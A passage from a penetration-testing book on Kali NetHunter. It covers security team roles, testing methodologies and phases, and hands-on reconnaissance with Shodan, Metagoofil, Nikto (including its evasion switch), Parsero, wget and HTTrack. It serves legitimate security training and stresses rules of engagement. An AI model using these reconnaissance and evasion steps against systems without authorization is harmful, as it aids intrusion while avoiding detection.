The IT security team is usually divided into two colors: red and blue. Each team has their

unique objectives, while the overall objective
of

both teams is
to

ensure a healthy security

posture is maintained and to reduce information security risks.

Blue team

What are the objectives of the blue team? What do they do? Why do you need them?

Organizations that value their assets (tangible, intangible, and employees) will ensure they

are well protected from malicious hackers as cyber-attacks can originate both internally or

externally at any time. One of the most difficult tasks is detecting a cyber-attack in real-time

and mitigating it. Usually, a group of cybersecurity people is hired within the Information

Technology and Communication (ICT) department to proactively harden the security

within the organization’s systems and network infrastructure. This group is known as the

blue team.

The blue team continuously monitors the network for new and existing threats either from

within the company, from an insider threat, or externally, they are the defenders of the

network. However, the opposing team, the red team, has different objectives.

Red team

The goals of the red team are quite different from the blue team. The red team focuses on

continuously attacking the organization's systems and networks. You may be wondering

why a team with such objectives would even exist. As mentioned earlier in Chapter 1,

Introduction to Kali NetHunter, hackers are always trying gain
to

unauthorized access into

another person’s or company’s systems for various reasons. However, unauthorized access

into another system or network is illegal as it
is

intrusive. Organizations need to continue

improving their security posture due
to

the growing threat landscape in the digital world.
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The red team is either external contractors or an in-house team whose objective is
to

continuously simulate real-world cyberattacks. This is to ensure all vulnerabilities are

discovered and to determine how each can be exploited
by

a real, malicious hacker. The red

team are like the black hat hackers who are contracted
by

an organization to discover all

hidden vulnerabilities, exploit any flaws, and provide a detailed report at the end of their

testing.

Purple team

The purple team is a combination of both the red and blue teams. The team focuses on both

conducting offensive security testing and defending against cyber-attackers. Unlike the Red

and Blue Teams, they are not exclusive to either side of cybersecurity, offensive or

defensive, but rather a unified security consulting group for an organization.

Types of penetration tests

Whenever a penetration tester is assigned
to

simulate real-world attacks against a target

organization, there are usually one of three types of penetration tests conducted: white box,

grey box, and black box. Each type will determine what assets are exposed to both an

insider threat and an external party, such as a black hat hacker.

A white box test is an easy type of penetration test as a complete knowledge of the target’s

systems and network is known prior to the simulated attack. This can
be

beneficial to the

penetration tester as they would have ample information about the target network and can

better utilize tools and resources in creating, delivering, and executing payloads that would

most likely be successful on the first attempt. However, there is a disadvantage to this type

of penetration test. The ethical hacker or penetration tester most likely won’t be looking for

any hidden vulnerabilities and systems outside the knowledge that was provided prior to

the testing,or for the complete knowledge of the infrastructure of the system.

Black box testing is where
no

information or knowledge is given to the penetration tester

about the target systems or infrastructure. The penetration tester will behave like an actual

black hat hacker to gain access into the target. The only information given is sometimes the

company’s name or just the website. The ethical hacker or penetration tester will need
to
do

all the hard work
to

determine the type of organization and its industry, the type of

networking and security appliances are within the network infrastructure, its employees,

and so on.
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Grey box testing is somewhere between white box and black box penetration testing. The

penetration tester is give very limited information about the target infrastructure prior
to

the actual security audit or penetration test.

Phases of penetration testing

Before executing a penetration test on a system or network, we must first create the rules of

engagement or a plan of action. It won't be professional if a penetration tester simply rushes

into a network and launches random attacks against the target. In addition, having a plan

of action makes the job at hand a bit simpler when deciding on the tools and types of

attacks based on the vulnerabilities on the target.

The pre-attack phase

The pre-attack phase focuses on the planning and preparation of the penetration test, this is

done prior to any direct engagements
to

the target system or network. During this phase,

the penetration tester would be creating an arsenal of tools, scripts, and operating systems

to
be

used during the attack phase. Determining a penetration methodology prior to the

actual penetration test is quite important, it will create a systematic approach in achieving

each objective of the pen test.

We must not forget one of the most important objectives during the pre-attack phase,

discussing the rules of engagement with the client. This is quite important as both parties,

the penetration tester and the client, must have a mutual agreement and understanding on

the type of tests that will be conducted, the duration of the testing, the target systems and

networks, if remote testing is done-the source IP address if possible, intrusive or non

intrusive testing, and so on.

So far, we've learned organizations hire security professionals, such as penetration testers,

to check the security controls and discover any hidden vulnerabilities within their systems

or network. At times, an organization may contract a penetration tester to simulate real

world attacks on their web applications, while another company may want security

auditing on their Windows servers. Having a single methodology does not always apply to

each target from a penetration tester's perspective. This is where the penetration tester can

create their own methodology
to

fit the type of testing required for the target.
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Having as much information as possible about the target prior
to

the attack phase is very

helpful. Let’s think of this as a military operation; before launching an attack, the General or

someone of high authority would send a unit of soldiers
to

conduct reconnaissance and

gather as much information as possible about the target while being undetected (stealthy).

This concept also applies in penetration testing; the more information that is known about a

target will assist the penetration tester in discovering flaws and weaknesses. Once a

vulnerability (weakness) is found on a target,
the

next step is to use a working exploit
to

take advantage of the flaw/weakness. This is done during the attack phase.

Information, such as open ports, types of devices, operating systems, network layout,

security appliances, and network shares, is usually found during the pre-attack phase of the

penetration test.

The attack phase

The attack phase can be a bit challenging for a penetration tester. In this phase, exploiting a

vulnerability is done to gain access to the target system and/or network. Sometimes, an

exploit may not work and this can
be

a bit frustrating. Having an exploit-development

environment is useful for a situation where a particular payload does not compromise a

target. However, a penetration tester should not only rely on a single point of entry into a

target but rather have multiple methods of gaining access. This concept not only

demonstrates the technical skillset of the penetration tester but the many flaws within the

target itself.

The information gathered about the target during the pre-attack phase will be utilized to

determine the type of exploit
to

use on the target. Acquiring the target can be done using

existing exploits found from reputable online repositories such as Exploit Database by

Offensive Security (www.exploit-db.com) or using an exploitation development

framework such as Metasploit (https://www.rapid7.com/products/metasploit/).

Usually an attacker will compromise a standard account on a target system
to

minimize

detection, then they will attempt to escalate privileges to either a system/administration or

root privileges. During this phase, the penetration tester implants malicious code within the

compromised systems to create backdoors for remote access and begins lateral movement

on the network to compromise other potential targets.
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The post-attack phase

The post-attack phase focuses on the cleaning up any items left behind during the attack

phase. These are payloads, scripts, and other files used during the penetration test. The

report is usually completed at the end of this phase and is delivered to the client, outlining

the various security testing executed and their results.

Penetration testing methodologies and

frameworks

In this section,
we

are going to take a look at various penetration testing methodologies and

frameworks. To begin,
we

must understand what is meant by a methodology. A

methodology is a set of methods applied
to

a field of study or an activity using a systematic

approach. Another important terminology in
the

field of penetration testing is the term

framework. A penetration testing framework is a comprehensive guide that details the

usage and security-auditing tools for each category of penetration testing.

Completing your first training in penetration testing can
be

very exciting, and you were

probably very eager
to

hack something. Imagine you’re on the client’s network, and you

begin to stimulate your attacks all at once, focusing on a particular set of vulnerabilities or

systems. A lot of misfires can occur – exploits can hit targets that are not specified within

the scope of the penetration test agreements – and this can be bad for business and create a

bad reputation. Secondly, without using a systematic approach, the desired result probably

won’t be attained at the end of your testing.

Hence, during the pre-attack phase of a penetration test, it is good
to

either choose a

methodology or framework best suited for the potential target’s infrastructure. The

framework will ensure a specific set of guidelines are followed by the penetration tester in

obtaining a desired output and interpretation of the results.

The following are some of the more popular penetrating testing methodologies and

frameworks:

OWASP testing guide

PCI penetration testing guide

Penetration testing execution standard

Open Source Security Testing Methodology Manual (OSSTMM)
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OWASP testing framework

The Open Web Application Security Project (OWASP) testing framework is defined as a

low-level penetrating-testing guide for common web application and security services

issues. It was developed as a best-practice penetration-testing framework for anyone to

implement within their organization.

The OWASP Testing Guide v4 can be found at https://www.owasp.org/

index.php/OWASP_Testing_Project.

The OWASP Testing Framework outlines five phases:

Phase 1: Before Development Begins

Define a System Development Life Cycle (SDLC)

Review Policies

Developing Measurement and Metrics Criteria and Ensuring the

trace

Phase 2: During Definition and Design

Review the Security Requirements

Review the Design and Architecture

Creat and Review UML Models

Create and Review Threat Models

Phase 3: During Development

Code Walkthrough

Code Reviews

Phase 4: During Deployment

Application Penetration Testing

Configuration-management Testing

Phase 5: Maintenance and Operations

Conduct Operational Management Reviews

Conduct Periodic Health Checks

Ensure Change-verification
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For more information the OWASP Testing Framework, please

visit https://www.owasp.org/index.php/The_OWASP_Testing_Framework.

Furthermore, OWASP has been continuously engaged in providing web security awareness

globallly and methods on improving web security. Their OWASP Top 10 is a list of the

most critical security risks in web applications.

The following is the OWASP Top 10‒2017 list of critical security risks to web applications:

A1:2017-Injection

A2:2017-Broken Authentication

A3:2017-Sensitive Data Exposure

A4:2017-XML External Entities (XXE)

A5:2017-Broken Access Control

A6:2017-Security Misconfiguration

A7:2017-Cross-Site Scripting (XSS)

A8:2017-Insecure Deserialization

A9:2017-Using Components with Known Vulnerabilities

A10:2017-Insufficient Logging & Monitoring

Further details about each category of the OWASP Top 10–2017 list can

be found at https://www.owasp.org/index.php/Top_10-2017_Top_10.

PCI penetration testing guide

Organizations that are planning or involved in any sort of payment card transactions, such

are credit cards, are required to be Payment Card Industry Data Security Standard (PCI

DSS) compliant. PCI DSS policies and standards are used to protect and improve the

security of credit, debit, and cash transactions while protecting the Personal Identifiable

Information (PII) of the cardholders.

The PCI Penetration Testing Guide outlines the following phases in its methodology:

Pre-Engagement (Planning)

Engagement: Penetration Testing (Discovery and Attack)

Post-Engagement (Post-Attack)
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Penetration Testing Execution Standard

The Penetration Testing Execution Standard (PTES) is made up of seven phases that cover

all aspects of a penetration test:

Pre-engagement interactions

Intelligence gathering

Threat modeling

Vulnerability analysis

Exploitation

Post exploitation

Reporting

More information on the PTES can be found at http://www.pentest-

standard.org/index.php/Main_Page.

Open Source Security Testing Methodology

Manual

The Open Source Security Testing Methodology Manual (OSSTMM) was developed and

released by the Institute for Security and Open Methodologies (ISECOM) as a guideline

on how
to

improve security testing and implementation.

The OSSTMM is a bit different from the previously-mentioned methodologies and

framework, this methodology also tests for organizational, operational, and

telecommunication security and compliance.

The following are the domains within the OSSTMM:

Operational Security Metrics

Trust Analysis

Workflow

Human Security Testing

Physical Security Testing
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Wireless Security Testing

Telecommunications Security Testing

Data Networks Security Testing

Compliance Regulations

Reporting with the STAR (Security Test Audit Report)

Phases of penetration testing

So far, we have learned about various penetration methodologies and frameworks. By now,

you’re probably wondering how to put it all together. One of the first things you learn

during a penetration-testing training course is the five phases of hacking. In each phase,

there are objectives to complete as a penetration tester/ethical hacker; one phase leads to the

next until the final stage is completed:

Reconnaissance

Scanning

Gaining access

Maintaining access

Clearing tracks

Reconnaissance

The Reconnaissance phase is the most important phase of all. This phase is all about

information-gathering about the target; the more information a penetration tester has about

a target, the easier it is to exploit it. During this phase, the following are usually conducted:

Usages of search engines such as Yahoo, Bing, and Google

Searches on social networking websites about the company and employees (past

and present)

Performing Google hacking techniques to gather more precise information about

the target

Using various tools to perform footprinting of the target’s website

Performing Domain Registry information gathering about the target

Direct and indirect social engineering
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Scanning

This phase is a more direct approach in engaging the actual target. The scanning phase

helps the penetration tester identify open and closed ports, active hosts on a network,

services running on a system and network, operating system types, and vulnerabilities on

systems. During the scanning phase, the information gathered will provide the penetration

tester with a topological view of the target's environment.

Here are the objectives of scanning:

Checking for live machines

Checking for intrusion prevention system (IPS)

Checking for Firewalls

Checking for open and closed ports

Checking for service versions

Checking for vulnerabilities

Creating a network diagram

Gaining access

This is the exploitation phase where the penetration tester attempts to compromise a target

system or network. During this phase, the penetration may create a custom payload to

execute either remotely or on the actual target.

This phase has two objectives:

Gain access

Escalate privileges

Maintaining access

Once the target system has been compromised, the penetration tester would attempt to

create multiple instances of backdoor access in the event that they are
no

longer able to

access the system via the exploit. Some penetration testers use this opportunity
to

implant

Remote Access Trojans (RATs) or create a botnet to control the compromised systems.
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The phase has the following objectives:

Create and maintain remote access

Hide files

Steal data

Clearing tracks

This phase is used to clear all possible tracks
of

an intrusion on the target system and

network; as a penetration tester,
we

like to be
as

stealthy as possible to simulate real-world

attacks.

This phase has two objectives:

Clear all logs

Cover tracks

Deliverables

At the end of a penetration test, a report is provided to the client that outlines all the

vulnerabilities found with full details. The penetration test report also contains evidence of

the vulnerabilities compromised per system to indicate the proof of concept. This can be

helpful for the client’s security team to implement mitigation techniques and prevention

controls on their infrastructure. Some penetration-testing reports contain mitigation

techniques while others don’t. This is determined by the mutual agreement between the

client and the penetration tester of the services to be rendered.

Most importantly, the report is a full summary of the event and actions of the tests

conducted and the outcome of each. As penetration testers, our write-ups tend
to be

a bit

too technical at times, however our final report should be written at an executive level

where non-technical people can read and understand them.
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Summary

In this chapter, we took a look at the need for penetration testing in today's world and for

the future. As new threats emerge, the security of our assets and data is more at risk than

ever. We did a brief comparison and contrasted between different types of hackers and

their possible motives for hacking. Furthermore,
we

discussed the need for various security

teams within an organization
to

help improve the security posture of the ever-growing

threat landscape, and finally,
we

discussed hacking methodologies and concepts.

In the next chapter, we will be covering intelligence-gathering tools.
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Section 2: Common Pentesting

Tasks and Tools

In this section,
we

will learn how
to

gather, store, and process information. We'll also look

at how to deploy payloads to a target and remove the fingerprints of a NetHunter attack.

The following chapters are in this section:

Chapter

Chapter

Chapter

Chapter

Chapter

3, Intelligence Gathering Tools

4, Scanning and Enumeration Tools

5, Gaining Access to a Victim

6, Maintaining Control of a Victim

7, Clearing Tracks and Removing Evidence from a Target
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Intelligence-Gathering Tools

Let's move into actually using Kali NetHunter. We will start this journey by looking at the

tools that are useful for gathering intelligence from a target host or network. The tools we

will be encountering in this chapter will be those that tend to be deployed during the first

phase of pentesting, with the potential to be deployed again during later phases.

In this chapter, we will cover the following topics:

Objectives of intelligence gathering

Tools for gathering useful information

Downloading and copying a website

Google hacking

Social networking

Using WHOIS

nslookup

Technical requirements

To complete the chapter, you'll need to install Kali NetHunter (http://kali.org). Please

see Chapter 1, Introduction to Kali NetHunter to learn about installing Kali NetHunter on an

Android device.

Objectives of intelligence gathering

Before you can effectively deploy any tools used to break into a system or otherwise

compromise it, you must learn whatever information you can about it. Depending on the

amount of care you take and depth you need
to

go into, this process can take a short period

of time or a considerable period of time. To accelerate this process, NetHunter provides a

full range of tools designed just for this purpose.
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Since we don't have a specific target in mind for this book,
we

will explore a range of tools

designed to gather different types of information. We will assume that there is a good

amount of information to be gathered about
the

target and we must simply deploy the right

tools
to

get it. Keep in mind that, in the real world, you may be approached to perform a

pentest using one of three popular approaches based on the client's needs. With this in

mind, let's
go

over the three popular approaches to a pentest based on the amount of

information that is provided or needs to be gathered:

White box: A term used to describe a test where complete information is

provided
to

the tester prior to the start of the test and additional questions can be

asked later. Typically, this test is used in situations where the client needs to

perform an audit, and simulating an actual attack is not necessary.

Grey box: In this type of test, limited information is provided to the tester in

order
to

either guide the test or control the extent of the test. For example, a client

may provide a list of server names and IP addresses which, if discovered, would

be the point where you contact the client for further instructions on how to

proceed.

Black box: In this type of test, no information is provided and the attacker must

gain all information on their own. This type of test most closely emulates the

actual environment that an outside attacker would face, having to gain

information along the way.

It is important that, before you engage in the test, that you understand the client's goals and

the type of test that they want. For this book,
we

will assume that we are running a black

box test and have to dig for and earn the information
we

need to proceed to later phases of

the pentesting process.

There are many other types of testing formats in the field of penetration

testing, but we will not
be

including them in this book. Instead,
we

will

keep things simple by limiting ourselves to just these three types.

Information for the taking

As you may already be aware, thanks to the internet, there is a seemingly endless number

of resources available that you only need take the time and effort to make use of. There is

a wealth of knowledge which
we

can draw upon; however there is a very real downside to

having this much information available: you can get overwhelmed if you're not careful.

Once you have been testing long enough and are familiar with the types of information that

can be revealed, you will learn what is more valuable.
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In my own experience, as well
as

with those I have mentored over the

years, I have found that it takes a while to learn
to

identify useful

information quickly. Typically, you will find yourself, as a beginner,

gathering far more information than you will actually use, while possibly

missing some items that don't appear
to be

of much use. As you gain

experience with the different actions that can be taken during pentesting,

you will learn to recognize useful information, be it information that is

immediately useful or that will
be

useful later.

Types of information available

To stay focused during your intelligence-gathering, it is important to briefly list the types of

information that you can uncover.

Let's get things started by determining what types of information
we

are looking for or

might encounter that would be of use later. It
is
important to set expectations ahead of time

regarding what information you are looking for, as it helps you get a handle on what tools

from Kali you should use to reach your goal. I want to know what information has the best

chance of being useful, but I also try
to

prioritize that information as well as identifying

those items that I can collect with various tools.

Network information

Obtaining information about the network can be useful during our pre-attack phase of the

penetration test. We aim
to

determine what transactions are taking place between devices,

the services being used, IP and MAC addresses, and so on.

The following is a short list of information we can extract from a network:

DNS information

IP addresses

Rogue or unmonitored websites

TCP/UDP services that are running

Virtual private network (VPN) information

Telephone numbers, including analog and VoIP

Authentication systems

User and group information
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Banner information from running services

System architecture

Host names

Usernames and associated passwords

Organizational data

Organizational information is anything that describes and outlines the inner workings and

processes of a business or organization. This information could take many forms, but

expect things such as organizational charts, business plans, social media, or administrative

data.

Information that may be located relating to an organization include the following:

Employee information, such as name, job title, and email address

Company website

Organizational employee directory (for example, phonebook)

Company's physical address

Comments within the coding of a company's website

Organizational Security policies

That's a lot of information, and we can collect it all, and then some, with what is available in

Kali NetHunter. You can expect to gather a good amount of information just by running a

few basic scripts and tools that will present the information to you.

Methods of information-gathering include the following:

Open Source Intelligence (OSINT): OSINT gathers information from various

online resources; this is both an effective and relatively easy way to learn about a

target. OSINT uses internet search engines, social media websites, blogs, forums,

and other sources to gather information about a target.

You may also find yourself engaging in a number of passive methods designed

to harvest information from a target. For a method to be considered passive, you

must not directly engage or query
the

target, leaving less opportunity for

detection and having your efforts thwarted. Furthermore, the passive method

also reasonably emulates many of the methods that are used to gain information

from public sources, also known as gaining OSINT.
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You may wonder why, in this book,
we

sometimes use tools that are not

native to Kali. This is because in many cases I am either trying
to
show the

normal way of doing things, as opposed to the more complete, efficient,

and better way of carrying out the same task using Kali's own tools.

It's also important to illustrate that there are other tools available that can

validate the results if you wish
to

double-check your data.

Tools for gathering useful information

NetHunter has a number of tools designed to gather information about a target, each one

offering something that the others don't. In this book,
we

will cover many of the tools in

NetHunter, but not all, as there are so many.
We

will cover the more powerful tools and the

ones you are most likely to use in your work; however, you may find other tools you wish

to use when doing your own exploring outside.

In this chapter, there is a mix of tools both in Kali as well as ones that exist

outside of the software. The idea behind showing both these types of tools

is to demonstrate not only how
to

get information in other ways, but how

to combine information from multiple sources to assist you in the process.

If a target, such as an organization, has a website, that might be a good place to start

conducting reconnaissance. A company's website provides lots of details, such as email

addresses for internal contacts, phone numbers, and extensions. If a career page is

available, it will have details about the type of vacancies available with the technologies

being used within the company. The website
is
a representation of the organization in the

digital world.

When starting out, examine a website to look for information that may be of use. Pay

attention
to

the following details:

Email addresses

Physical location

Job postings

Telephone directory listing
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Using Shodan

One of the more useful tools in the NetHunter arsenal is a third-party app for accessing

Shodan. Shodan is a powerful search engine that looks for devices that are attached to the

internet. With Shodan, it is possible to identify several pieces of hardware and software

inside a target organization with little effort.

Why the weird name? Shodan gets its name from the game System Shock.

The SHODAN character name is an acronym for Sentient Hyper

Optimized Data Access Network for the main antagonist of the

cyberpunk-horror-themed games.

In order
to

unlock the full power of Shodan, you need to become adept at using keywords

creatively. Keywords can be any number of different items, but in this case, they typically

are the name of the manufacturer and the device model number. In some cases, it could

even be the name of an unusual device, such as an embedded device or an Internet of

Things (IoT) gadget. Once you have an idea
of

keywords to use, you can use these within

Shodan to search for devices. You can even refine your results if you get overwhelmed by

utilizing filter commands.

Shodan has been around for about a decade and has continued to become

more capable and effective. Shodan is unlike other search engines in that

it has the ability to search for devices attached to the internet. Originally it

was expected to be capable of finding computers and printers attached to

the internet, but today it has the ability to locate devices, such as named

IoT objects. Basically, as long as it can be accessed or viewed from the

Internet, the possibility exists that it can be searched for using Shodan.

As a pentester, you will find that you can very quickly and easily find devices or systems

that shouldn't be connected to the internet or have any public exposure. The search engine

can also become a very useful tool for finding unauthorized or rogue devices on your own

network if the need arises.
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In order
to

get started with Shodan, you will need to visit their site at shodan.io to register

and create an account. Once this is done, you will be given a unique Application

Programming Interface (API) key to enter into the Shodan app:

The Shodan website

In order
to

use Shodan, you will need to do
the

following:

1. Start the Shodan App located in your list of applications.

2. Enter your API key if this is the first time you have used the app.

3. Enter a keyword search and tap the Search button

After a few moments, Shodan will return a list of individual systems that meet your search

criteria. Much like other search engines, click
on

any one of the results to get more detailed

information on the target, including items such as ports and services. On some results, you

will even be able to click on the + signs near the port numbers for service and other

associated information.
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If you cannot locate the Shodan app on your device, this may
be

due to

the fact that you did not choose to install it during the installation of Kali

NetHunter. If you did not install it, you can easily install it after the fact

using Google Play and searching for the Shodan app.

Results of a Shodan search

Working with filters

With Shodan, you employ a filter either separately or together with others
to

filter and

narrow down your results and focus your searches to specific criteria, such as countries,

cities, products, or versions. However,
we

can use keywords to search; these

keywords include something specific for the target. Let's say you want to find Cisco

devices; the keyword would be "cisco".

For example, in order to discover webservers that are running Apache web server version

3.2.8, you can use the following keywords:

apache/3.2.8 200 ok
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While this type of search works and you will learn that a more effective searches can
be

done by combining both search terms and filters. For example, you could search for all of

an organization's Microsoft web servers running IIS/8.5 in Sacramento:

IIS/8.5 hostname:<targetcompany.com> city:Sacramento

Using Metagoofil

Metagoofil is a powerful tool to have at your fingertips and Kali NetHunter provides it to

you as a way to gather information. In a nutshell, Metagoofil searches for, and downloads

information from Google based on the criteria you provide. The metadata information that

is gathered is from public documents (such as PDF, Doc, XLS, PPT, Docx, PPTX, and XLSX

files) from the target company you specify. It downloads and saves these files to the local

drive and then uses built-in libraries
to

extract metadata from the files. The following figure

shows Metagoofil at the Terminal window:
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So, what is metadata? Well, metadata is information that describes something, such as a

file, on a computer. In practice, a good example of metadata would be the properties

attached to a file saved to a hard drive. If this file was an image, we could view its

properties and find ourselves able to see what device took the picture along with color

depth, size, and other information, such as
GPS

data in some cases. Depending on the file

type being analyzed, it is possible that the information that can be displayed could include

usernames, software versions, and servers or machine names.

Metadata is present on many types of objects, including all types of files

and data repositories. In fact, many applications and devices in use today

embed metadata in the information they create by default. This is the case

with many of the images created by digital cameras and smartphones, as

well as files created by products such as Microsoft Word. This metadata is

responsible for storing details such as the coordinates of where a picture

was taken – this information can be retrieved and will reveal things that

the creator may wish to keep secret.

Exercise using Metagoofil to collect information

In this exercise, we will use Metagoofil to extract metadata from documents within a

targeted domain.

Depending on which version of NetHunter you are running, you may be able to

immediately run this utility from the command line while some updates seem to have

removed it. If you type the metagoofil command at the Terminal window and you get a

message indicating it is not available, run the following command:

apt-get install metagoofil

Let's use Metagoofil to scan a domain for metadata. To keep things safe,
we

will use the

kali.org website, but you can replace the domain with one of your choosing.

Metagoofil offers us a number of options
to

scan this domain:

-d: Specifies the domain to search.

-t: Filetype(s)
to

download.

-l: This Limits the results (it will show default value till 200 if nothing is

specified) Too large a value will take longer while a smaller value will speed

performance, but yield fewer results.

[59]



Intelligence-Gathering Tools Chapter 3

-n: Limits the files that are downloaded.

-o: Location to save downloaded files.

-f: Name of the output file with the summary of operation.

At the command prompt, type metagoofil
-d

kali.org -t pdf,xls -l 200 -n 25

-f results.html and then press Enter.

The results will take a while to be returned, but it will include details similar to the

following screenshot, which was returned from my own search. I ran this against a

different domain, whose name I have removed. Note the list of user names, software used

to create files that were retrieved, and even email addresses:

Results of Metagoofil viewed in a browser

This information would be saved
to

a file (or should be) using the -f switch.

The actual results were much longer and had more detail, but couldn't all

be displayed here in the interest of brevity.
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Using Nikto

One way to gain even more information about a target and their website is to use Nikto.

Nikto is a web server scanner that is designed
to

test a web server for various issues,

including 6,700+ dangerous files and programs, check for outdated versions of servers, and

identify version-specific problems of around 300 different server types. In addition, it has

the ability to check for server configuration issues, HTTP server options, and will also

attempt to fingerprint web servers and software. Finally, scan items and plugins are

frequently updated and can
be

automatically updated.

Keep in mind that not every issue is necessarily something that you can exploit, but with

some research, you will find many of them are. Some of the data returned from a scan will

reveal informational items that can be used to add more information that may be useful

later. There are also some checks for unknown items that have been seen scanned for in log

files.

The following screenshot shows the results of scanning a website using Nikto:

Results of a Nikto scan

[61 ]



Intelligence-Gathering Tools Chapter 3

Let's do some exercise with Nikto to show how it works and provide some helpful options.

Exercise ‒ working with Nikto

Nikto is a command-line utility, so open a Terminal window to start working with the

application.

To run the most basic type of scan, we just have to issue the following command and press

Enter:

nikto -h <IP address or host name>

This command tells Nikto to target (using the -h switch) a host name or IP address of your

choosing. In my case, I chose the website webscantest.com, which is set up for this type of

activity/practice. Note the results will take a few moments
to be

returned, so don't worry if

it looks like the command has hung or is otherwise not working.

When you get the results, take a careful look
at
what is returned.

In my results, I noted the information indicating the presence of a robots.txt file. I used

my browser to open this file by entering www.webscantest.com/robots.txt and I received

some simple information about the site, including content types and folders. I also noted

the information indicating the presence of a login page at

www.webscantest.com/login.php. This might
be

good information to note for password

cracking attempts later. Finally, I also should point out that the results told me the type and

version of the webserver, as well as the operating system which, in this case, is Apache 2.4.7

running on Ubuntu.

There are other results included, such as vulnerabilities, which will vary depending on

your target.

Want to see if you can become a little stealthier? Well, you can use the -evasion or -e

switch and specify an option. In my case, I used 1
to

specify random encoding. This may

help fool or evade some detective mechanisms enough
to

keep your attack under the radar.

You can use this option as follows:

nikto -e 1 -h webscantest.com

I won't go through all the options here, but I encourage you to use the help option
to

try

some other switches. You can access this by entering nikto -Help to show all the

available switches.
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One last tip on this tool: save your results to a file by using the -o switch, like so:

nikto -h <IP address or hostname> -o <filename>

I usually specify the filename as an HTML file, such as test.html. Just save your results as

this saves time later when you need to refer
to

the information for that nugget of useful

information.

What is robots.txt?

Sometimes search engines are not enough to get what you want as they don't show

everything you may want. Search engines only show a small fraction of the information

available on the web and many take advantage of this shortcoming to keep things from

showing up in a search engine. One of these ways is by tweaking a file known as

robots.txt.

The owner of a website can make use of the robots.txt file in an attempt to take control

of who sees what within a site. In practice, the file is put in the root of a website and comes

into play when a robot or bot visits a site in an attempt
to

catalog content. A robot visits a

website such as www.sample.com. However, before it does it checks for the existence of the

robots.txt file. If the file exists, it reads the file to see whether it is allowed to proceed,

and if so, where. In this case, let's say that robots.txt is found in

www.sample.com/robots.txt and it has the following contents:

User-agent: *

Disallow: /

User-agent: * indicates that the information applies to all robots. Disallow: / tells the

robot not to visit any pages on the website. In practice, robots.txt is supposed to be read

by any robot visiting the site
to

catalog its content. When it reads the file, it should process

the directives and react accordingly, but let's point out the reality of the situation.

In practice, there are two key points to remember regarding this file:

While the intention is for robots.txt
to be

universally accepted, in reality,

robots can ignore your /robots.txt. This would especially
be

the case for

malicious web crawlers that scan
the

website and web servers for security

vulnerabilities, and email-address harvesters used by spammers. All will tend
to

ignore the file.

[63 ]



Intelligence-Gathering Tools Chapter 3

The actual robots.txt file can
be

viewed by anyone as it is publicly accessible

by default. Someone finding this file (for example, by using a Google hack) can

see what portions of a site have been put off limits and then browse there

anyway.

The bottom line here is that robots.txt does work as designed. All it takes is a piece of

malware or a simple Google search
to

either learn about the structure of the site or a piece

of malware that doesn't respect the file and causes potential issues. This means you should

not use the file to hide information as it is simple to locate, read, and bypass. The file only

serves to suggest the sections of the site that shouldn't be visited; it doesn't enforce them:

Example of the contents of a robots.txt
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Using Parsero

In terms of Kali, there actually are tools that will look for the robots.txt of a site and read

the contents. One such tool, Parsero, is specifically designed to look at the contents of the

file with attention paid to the disallow entries that are used to keep bots from visiting those

locations. The following screenshot shows Parsero in action:

The Parsero welcome screen

Parsero reads the robots.txt file of a web server, looks at the Disallow entries, and then

checks
to

see whether the location is accessible. In practice, an entry in the file would look

like this Disallow: /portal/ login means that the content on this website or

link www.chieforiyano.com/portal/login should not be indexed by spiders. It may seem

pretty straightforward and simple, but it can
be

an obstacle if you want to gather

information for a pentest; fortunately, we can get around this file.
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Sometimes the paths in the Disallows entries are accessible
by

users who simply type the

path into their web browser. However, since there can be many disallow entries

in robots.txt, it is possible that there may be a long list of entries to check. Parsero can be

used to check a long list of entries and see which are valid, so you know which paths to

investigate without wasting time.

Exercise ‒ working with Parsero

In this exercise, we are going to explore a few examples of using Parsero.

If your installation of Kali does not have Parsero installed, use the apt-

get install parsero command and choose Yes to install it.

First, if we want to index a site to see which disallow entries are valid, we use the

following:

parsero -u www.example.comOr, we can use this:

parsero -u <website domain name>

Second, if we want to see which paths are valid using a search engine, we can alter the

command to look like so:

parsero -u www.bing.com -sb

Or
you can use the following:

parsero -u <website domain name> -sb

In this case Parsero, will search bing for results.

Once you have a list of verified directories, you can use a web browser or other tool to view

the path on the server
to

see what files or information may be present.
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Using wget

You may find it useful
to
download a copy of a website for local examination and to use it

to run other tests on. If this is something you wish to do, the easiest and simplest way is to

use the wget command, which is a standard Linux tool used to retrieve information from

websites. The wget utility is a non-interactive downloader.

It is important to note that this technique of using wget or a similar utility

to download a website is not completely passive and is more semi

passive. While passive information-gathering avoids direct engagement

with the target and thus makes
the

process anonymous and impossible to

track, semi-passive leaves more behind. Semi-passive information

gathering engages the target much more directly and can leave

information in logs, which can
be

analyzed by the target and the activities

revealed. The key is that the information is found after the fact and our

activities do not draw attention
to

themselves while they are occurring.

Exercise ‒ working with wget

To keep things simple, for this exercise I recommend that you use a small website or

personal one as it will make the process faster as there will be less to download. However,

if you do need to download a larger website,
be

aware that the bandwidth demands and

storage-space demands will increase accordingly.

Although
we

are covering how
to

download the contents of a website to a

local system, there are some things to keep in mind here: first, on a mobile

device, storage space may be at a premium, meaning you need to make

sure you have enough storage space to store the contents of your targeted

website. If you run out of space, the command will fail, or if you come

close to exhausting the space on your system without using it all up, you

may run into other problems with your device.

Second, make sure that if you are doing this operation, you are aware that,

if you are performing it over a cellular data link, you will
be

rapidly

eating
up

your data allotment if you have one.

First,
we

want to download the website into a directory on the system with the same name

as the target. To do this, issue the following at the command line:

wget -m http://<web address>

The -m option creates a mirror image of the website.
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If you need to download an entire site, use the following command:

wget -r --level=1 -p http://<web address>

This command downloads all the pages on specified URL, using both the -r and --

level=1 parameters. The components, such
as

images, will be included within the

downloaded version.

If you have targeted a small site, neither of these commands should take that long to finish

(maybe a few seconds to just a few minutes), and you should find the contents copied to

your local system. Once you have the content downloaded, you can open them in your web

browser and perform actions such as looking
at

the source code to see whether you can find

any comments or clues about the site. You can also search through the files looking for

keywords or phrases that might give you information that could prove useful.

Using HTTrack

Of
course, wget is just a regular Linux tool; let's download a website in a different way

using the HTTrack tool. This tool is included with Kali and offers far more options than

wget does on its own.

HTTrack is a website copier. It allows a person to use either the graphical user interface

(GUI) or the command-line interface (CLI) to create an offline mirror version of a website,

allowing for offline browsing.

HTTrack also possesses the ability
to

update
an

existing downloaded site and resume

interrupted downloads.

Let's try using HTTrack to download a website.

Exercise ‒ using HTTrack

To use HTTrack, let's start with the basic options:

1. Open a Terminal window.

2. Type the mkdir test command. This will create a directory named test. You can

use whatever name you want; however, this will be the place
we

store our

download.

3. Type cd test or whatever you used for your directory name.

4. Type the httrack <website name> command.
